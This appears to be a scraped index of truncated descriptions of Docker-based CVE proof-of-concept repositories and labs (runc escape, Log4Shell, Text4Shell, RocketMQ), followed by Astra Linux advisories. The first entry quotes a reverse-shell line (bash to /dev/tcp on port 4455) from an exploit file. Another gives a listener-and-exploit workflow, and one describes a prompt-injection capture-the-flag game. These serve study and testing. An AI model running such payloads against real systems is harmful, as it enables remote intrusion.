cve-2019-5736-poc

Headers to Add stage2.c bash include bash include Modify to Attacker PC IP stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Create Docker Image and Container $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc...

CVE-2023-33246-Copy

1. Reference Learning CVE-2023-33246 https://github.com/I5N0rth/CVE-2023-33246 2. Local Environment Setup 2.1 Download Image docker pull apache/rocketmq:4.9.1 docker pull apacherocketmq/rocketmq-console:2.0.0 2.2 Start broker, namesrv, console Start namesrv docker run -dit -p 9876:9876 -p...

CVE-2025-9074-PoC

Docker API Unauthenticated RCE CVE-2025-9074 A critical CVE-2025-9074 vulnerability in Docker Desktop enables locally running Linux containers to connect to the Docker Engine API through the default subnet 192.168.65.7:2375. The issue persists regardless of Enhanced Container Isolation ECI or TCP...

CVE-2025-32375

Setup for the vulnerable version. Start the vulnerable container: docker compose up Create a listener e.g. ncat: ncat -klnv 1337 Run the exploit: python3 exploit.py You should receive an HTTP request in the ncat window with the contents of the OS command id by default if everything worked as...

Exploite-CVE-2023-30212-Vulnerability

create a vulnerable Docker environment that is susceptible to CVE-2023-30212 Description Docker environment and exploit the CVE-2023-30212 vulnerabilityVE-2023-30212 is a security vulnerability that affects versions of OURPHP prior to or equal to 7.2.0. This vulnerability allows for Cross-Site...

jenkinsci__docker-commons-plugin_CVE-2022-20617_1-17

Docker Commons API Plugin for Jenkins API plugin, which provides the common shared functionality for various Docker-related plugins. Summary API for managing Docker image and container fingerprints Credentials and location of Docker Registry Credentials and location of Docker Daemon aka Docker...

test-task-CVE-2024-25600

test-task-CVE-2024-25600 Repository for internship test-task. Step 0: Clone this git repo git clone https://github.com/Sibul-Dan-Glokta/test-task-CVE-2024-25600 Step 1: Create docker containers Start Docker daemon sudo systemctl start docker.service Start Docker Containers To start the docker...

android-kernel-exploitation-ashfaq-CVE-2019-2215

android-kernel-exploitation-ashfaq-CVE-2019-2215. कार्यशाला में उपयोगकर्ता रॉबर्ट डैन द्वारा प्रदान की गई Docker छवि android-kernel-exploitation-ashfaq-CVE-2019-2215...

Log4Shell-demo

Log4Shell in action This project aims to demonstrate how the Log4Shell / CVE-2021-44228 vulnerability works. Requirements You only need to have Docker installed. Ideally you have two different virtual machines. One for the vulnerable server and one for the malicious server that will host the...

poc-cve-2024-23334

poc-cve-2024-23334 This repository contains a proof of concept about the exploitation of the aiohttp library for the reported vulnerability CVE-2024-23334. This was created for two reasons: 1. Educational purposes: for those who are starting in application security, it is helpful to see the steps...

CVE-2022-42889-Text4Shell-Docker

CVE-2022-42889-Text4Shell-Docker Dockerized PoC for CVE-2022-42889 Text4Shell...

CVE-2021-40438

CVE-2021-40438 exploit PoC with Docker setup CD into the directory containing the Apache configuration and Dockerfile shared in repo. Building Image: docker build -t cve-2021-40438:1.0 . Running the Docker Image: docker run --rm -d -p 4444:80 cve-2021-40438:1.0 Note: You can also use Image ID...

ai-ctf

ai-ctf AI Capture-the-Flag محلي مع دروس موجّهة للتقنيين الجدد في حقن الأوامر prompt injection. يمكن للاعبين أيضًا استكشاف ست شخصيات ذكاء اصطناعي إحداها مخفية تحمي 20 علمًا عبر حقن الأوامر، وإساءة استخدام استدعاء الأدوات، والتلاعب بمنطق الأعمال، والبصمة في سلسلة التوريد، والاستطلاع على الويب،...

CVE-2017-13089

CVE-2017-13089 wget v1.19.1 for exploit dev. NOTE This is not a working exploit - under development. Usage Build the container docker build -t cve201713089 . OR ... docker pull robertcolejensen/cve201713089 Play around in the container, src will be mounted at /opt/CVE-2017-13089/src ./run.sh...

Log4shell

Log4J lab Description This is a lab for playing around with the Log4J CVE-2021-44228 Springboot app + Log4J 2.6.1 Usage docker build . -t mylog && docker run --rm -p 8081:8080 --name mylog-app mylog...

CVE-2019-13956

CVE-2019-13956 cd CVE-2019-13956 docker-compose up -d http://127.0.0.1:8090...

-create-a-vulnerable-Docker-environment-that-is-susceptible-to-CVE-2023-30212

create a vulnerable Docker environment that is susceptible to CVE 2023-30212 Description Docker environment and exploit the CVE-2023-30212 vulnerabilityVE-2023-30212 is a security vulnerability that affects versions of OURPHP prior to or equal to 7.2.0. This vulnerability allows for Cross-Site...

Astra Linux – Vulnerability in docker.io

Moby is an open-source container framework developed by Docker Inc. It is distributed as Docker, Mirantis Container Runtime, and various other downstream projects/products. The Moby daemon component dockerd, which is developed as moby/moby, is commonly referred to as Docker. Swarm Mode, which is...

Astra Linux – Vulnerability in docker.io-app

Moby version 25.0.3 has a race condition vulnerability in the StreamFormatter package. This vulnerability can be exploited to trigger multiple concurrent write operations, leading to data corruption or application crashes...

Astra Linux – Vulnerability in docker.io

Docker CLI is the command-line interface for the Docker container runtime. A bug was discovered in Docker CLI where running docker login my-private-registry.example.com with a misconfigured configuration file typically /.docker/config.json, which lists a credsStore or credhelpers that cannot be...